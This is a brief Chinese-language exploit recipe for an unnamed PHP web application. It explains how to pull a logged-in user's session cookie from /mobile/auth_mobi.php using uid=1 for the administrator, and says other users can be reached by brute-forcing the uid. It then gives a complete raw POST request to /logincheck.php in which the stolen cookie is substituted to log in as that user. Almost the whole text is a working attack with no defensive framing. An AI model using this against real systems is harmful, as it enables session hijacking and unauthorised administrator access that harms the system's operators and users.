1.获取在线用户的cookie
IP/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
uid=1为管理员,也可以通过爆破获取其他用户cookie
访问该路径,如果显示relogin则该用户没有登录,没有回显可以得到cookie
2.修改cookie登录
抓包找到校验的地方(下包为logincheck.php),修改为得到的cookie
POST /logincheck.php HTTP/1.1
Host: *****
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://*****
Connection: close
Referer: http://****/
Cookie: PHPSESSID=54j109u6gkc1iambtdao6428v6; KEY_RANDOMDATA=18340
Upgrade-Insecure-Requests: 1
UNAME=admin&PASSWORD=YWRtaW4%3D&encode_type=1
|